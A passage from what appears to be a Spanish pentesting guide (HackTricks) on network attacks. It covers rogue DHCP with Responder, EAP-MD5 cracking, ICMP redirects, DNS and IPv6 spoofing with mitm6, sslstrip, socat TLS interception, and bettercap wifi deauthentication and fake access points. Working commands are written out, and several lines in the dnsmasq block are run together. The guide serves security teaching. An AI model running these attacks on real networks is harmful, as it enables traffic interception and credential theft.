- **Interfaz para Tráfico DHCP**: Usa `-I eth1` para escuchar el tráfico DHCP en una interfaz de red específica.
- **Dirección de Configuración de WPAD**: Usa `-w “http://10.0.0.100/wpad.dat”` para establecer la dirección de configuración de WPAD, ayudando en la interceptación del tráfico web.
- **Suplantar la IP del Gateway Predeterminado**: Incluye `-S` para suplantar la dirección IP del gateway predeterminado.
- **Responder a Todas las Solicitudes DHCP**: Incluye `-R` para hacer que el servidor responda a todas las solicitudes DHCP, pero ten en cuenta que esto es ruidoso y puede ser detectado.

Al utilizar correctamente estas opciones, se puede establecer un servidor DHCP falso para interceptar el tráfico de red de manera efectiva.
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```
### **Ataques EAP**

Aquí hay algunas tácticas de ataque que se pueden utilizar contra implementaciones 802.1X:

* Fuerza bruta activa de contraseñas a través de EAP
* Atacar el servidor RADIUS con contenido EAP malformado _\*\*_(exploits)
* Captura de mensajes EAP y craqueo de contraseñas sin conexión (EAP-MD5 y PEAP)
* Forzar la autenticación EAP-MD5 para evitar la validación del certificado TLS
* Inyectar tráfico de red malicioso al autenticar usando un concentrador o similar

Si el atacante se encuentra entre la víctima y el servidor de autenticación, podría intentar degradar (si es necesario) el protocolo de autenticación a EAP-MD5 y capturar el intento de autenticación. Luego, podría realizar fuerza bruta utilizando:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### Ataques FHRP (GLBP & HSRP) <a href="#6196" id="6196"></a>

**FHRP** (Protocolo de Redundancia del Primer Salto) es una clase de protocolos de red diseñados para **crear un sistema de enrutamiento redundante en caliente**. Con FHRP, los enrutadores físicos pueden combinarse en un único dispositivo lógico, lo que aumenta la tolerancia a fallos y ayuda a distribuir la carga.

**Los ingenieros de Cisco Systems han desarrollado dos protocolos FHRP, GLBP y HSRP.**

{% content-ref url="glbp-and-hsrp-attacks.md" %}
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
{% endcontent-ref %}

### RIP

Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a los pares a través del puerto 520 utilizando UDP en RIP y RIPv2, mientras que los datagramas se transmiten al puerto 521 de UDP a través de multicast IPv6 en RIPng. RIPv2 introdujo el soporte para autenticación MD5. Por otro lado, RIPng no incorpora autenticación nativa; en su lugar, se confía en los encabezados opcionales IPsec AH y ESP dentro de IPv6.

- **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520.
- **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas a través de multicast IPv6.

Es importante tener en cuenta que RIPv2 admite autenticación MD5, mientras que RIPng no incluye autenticación nativa, confiando en los encabezados IPsec AH y ESP en IPv6.

### Ataques EIGRP

**EIGRP (Protocolo de Enrutamiento de Puerta de Enlace Interior Mejorado)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (es decir, sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema autónomo EIGRP.

Atacar un sistema EIGRP requiere **establecer una vecindad con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta diversas inyecciones.

[**FRRouting**](https://frrouting.org/) te permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesitas hacer es implementarlo en el sistema del atacante y realmente puedes fingir ser un enrutador legítimo en el dominio de enrutamiento.

{% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %}

[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar las transmisiones EIGRP (Protocolo de Enrutamiento de Puerta de Enlace Interior Mejorado). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento.

### OSPF

En el protocolo Open Shortest Path First (OSPF) se emplea comúnmente la autenticación MD5 para garantizar una comunicación segura entre enrutadores. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez obtenida esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Inyección_ y _Conexión_, respectivamente.

- **Captura y Descifrado de Hashes MD5:** Se utilizan herramientas como Loki y John the Ripper para este propósito.
- **Configuración de Parámetros de Ruta:** Se realiza a través de la pestaña _Inyección_.
- **Establecimiento de la Clave Comprometida:** La clave se configura en la pestaña _Conexión_.

### Otras Herramientas y Fuentes Genéricas

* [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades
* Puedes encontrar más información sobre ataques de red [aquí](https://github.com/Sab0tag3d/MITM-cheatsheet).

## **Suplantación**

El atacante configura todos los parámetros de red (GW, IP, DNS) del nuevo miembro de la red enviando respuestas DHCP falsas.
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing

Consulta la [sección anterior](./#arp-spoofing).

### ICMPRedirect

ICMP Redirect consiste en enviar un paquete ICMP tipo 1 código 5 que indica que el atacante es la mejor manera de llegar a una IP. Luego, cuando la víctima quiera contactar a la IP, enviará el paquete a través del atacante.
```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```
### Suplantación de DNS

El atacante resolverá algunos (o todos) los dominios que el víctima solicite.
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**Configurar tu propio DNS con dnsmasq**
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Pasarelas locales

A menudo existen múltiples rutas a sistemas y redes. Al construir una lista de direcciones MAC dentro de la red local, utiliza _gateway-finder.py_ para identificar hosts que admiten el reenvío de IPv4.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [Suplantación de LLMNR, NBT-NS y mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Para la resolución local de host cuando las búsquedas de DNS no tienen éxito, los sistemas de Microsoft dependen de **Link-Local Multicast Name Resolution (LLMNR)** y del **Servicio de Nombre NetBIOS (NBT-NS)**. De manera similar, **Apple Bonjour** y las implementaciones de **configuración cero de Linux** utilizan **Multicast DNS (mDNS)** para descubrir sistemas dentro de una red. Debido a la naturaleza no autenticada de estos protocolos y su funcionamiento sobre UDP, enviando mensajes de difusión, pueden ser explotados por atacantes que buscan redirigir a los usuarios a servicios maliciosos.

Puedes suplantar servicios que son buscados por los hosts utilizando Responder para enviar respuestas falsas.\
Lee aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Suplantación de WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Los navegadores comúnmente emplean el **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automáticamente la configuración de proxy**. Esto implica obtener detalles de configuración de un servidor, específicamente a través de una URL como "http://wpad.example.org/wpad.dat". El descubrimiento de este servidor por parte de los clientes puede ocurrir a través de varios mecanismos:

- A través de **DHCP**, donde el descubrimiento se facilita utilizando una entrada de código especial 252.
- Por **DNS**, que implica buscar un nombre de host etiquetado como _wpad_ dentro del dominio local.
- A través de **Microsoft LLMNR y NBT-NS**, que son mecanismos de respaldo utilizados en casos donde las búsquedas de DNS no tienen éxito.

La herramienta Responder aprovecha este protocolo al actuar como un **servidor WPAD malicioso**. Utiliza DHCP, DNS, LLMNR y NBT-NS para engañar a los clientes para que se conecten a él. Para profundizar en cómo los servicios pueden ser suplantados utilizando Responder [consulta esto](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).


### [Suplantación de dispositivos SSDP y UPnP](spoofing-ssdp-and-upnp-devices.md)

Puedes ofrecer diferentes servicios en la red para intentar **engañar a un usuario** para que ingrese algunas **credenciales en texto plano**. **Más información sobre este ataque en** [**Suplantación de dispositivos SSDP y UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**

### Suplantación de Vecino IPv6

Este ataque es muy similar al ARP Spoofing pero en el mundo IPv6. Puedes hacer que la víctima piense que la dirección IPv6 de la puerta de enlace tiene la dirección MAC del atacante.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### Suplantación/Inundación de Anuncios de Router IPv6

Algunos sistemas operativos configuran por defecto la puerta de enlace a partir de los paquetes RA enviados en la red. Para declarar al atacante como router IPv6, puedes usar:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### Suplantación de DHCP IPv6

Por defecto, algunos sistemas operativos intentan configurar el DNS leyendo un paquete DHCPv6 en la red. Por lo tanto, un atacante podría enviar un paquete DHCPv6 para configurarse a sí mismo como DNS. El DHCP también proporciona una dirección IPv6 a la víctima.
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6
```
### HTTP (página falsa e inyección de código JS)

## Ataques en Internet

### sslStrip

Básicamente, lo que hace este ataque es, en caso de que el **usuario** intente **acceder** a una página **HTTP** que se está **redirigiendo** a la versión **HTTPS**, **sslStrip** **mantendrá** una **conexión HTTP con** el **cliente y** una **conexión HTTPS con** el **servidor**, por lo que podrá **husmear** la conexión en **texto plano**.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).

### sslStrip+ y dns2proxy para evadir HSTS

La **diferencia** entre **sslStrip+ y dns2proxy** frente a **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota la **"w" extra**) y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)** pero detrás de escena **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**.

El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no** se guardará en la **caché** del navegador, por lo que se engañará al navegador para realizar **autenticación de Facebook en HTTP**.\
Ten en cuenta que para llevar a cabo este ataque, la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no https. Esto se puede hacer modificando los enlaces dentro de una página http.

Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).

**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, ten en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el ejemplo de** _**wwww.facebook.com**_ **anterior ya no funcionará, ya que** _**facebook.com**_ **utiliza HSTS con `includeSubdomains`.**

TODO: easy-creds, evilgrade, metasploit, factory

## Escuchar TCP en puerto
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## Escucha TCP + SSL en el puerto

#### Generar claves y certificado autofirmado
```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### Escuchar usando certificado
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Escuchar usando certificado y redirigir a los hosts
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
```
A veces, si el cliente comprueba que la CA es válida, podrías **servir un certificado de otro nombre de host firmado por una CA**.\
Otra prueba interesante es servir un **certificado del nombre de host solicitado pero autofirmado**.

Otras cosas para probar son intentar firmar el certificado con un certificado válido que no sea una CA válida. O utilizar la clave pública válida, forzar el uso de un algoritmo como diffie hellman (uno que no necesite descifrar nada con la clave privada real) y cuando el cliente solicite una sonda de la clave privada real (como un hash) enviar una sonda falsa y esperar que el cliente no lo compruebe.

## Bettercap
```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Notas de Descubrimiento Activo

Ten en cuenta que cuando se envía un paquete UDP a un dispositivo que no tiene el puerto solicitado, se envía un ICMP (Puerto Inalcanzable).

### **Descubrimiento ARP**

Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada dirección IP posible y solo responderán las que estén en uso.

### **mDNS (multicast DNS)**

Bettercap envía una solicitud mDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**. La máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services".

**Herramientas**

* Avahi-browser (--all)
* Bettercap (net.probe.mdns)
* Responder

### **NBNS (Servidor de Nombres NetBios)**

Bettercap envía paquetes de difusión al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

### **SSDP (Protocolo de Descubrimiento de Servicios Simples)**

Bettercap envía paquetes SSDP de difusión buscando todo tipo de servicios (Puerto UDP 1900).

### **WSD (Descubrimiento de Servicios Web)**

Bettercap envía paquetes WSD de difusión buscando servicios (Puerto UDP 3702).

## Referencias

* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* **Network Security Assessment: Know Your Network (3rd edition)**
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>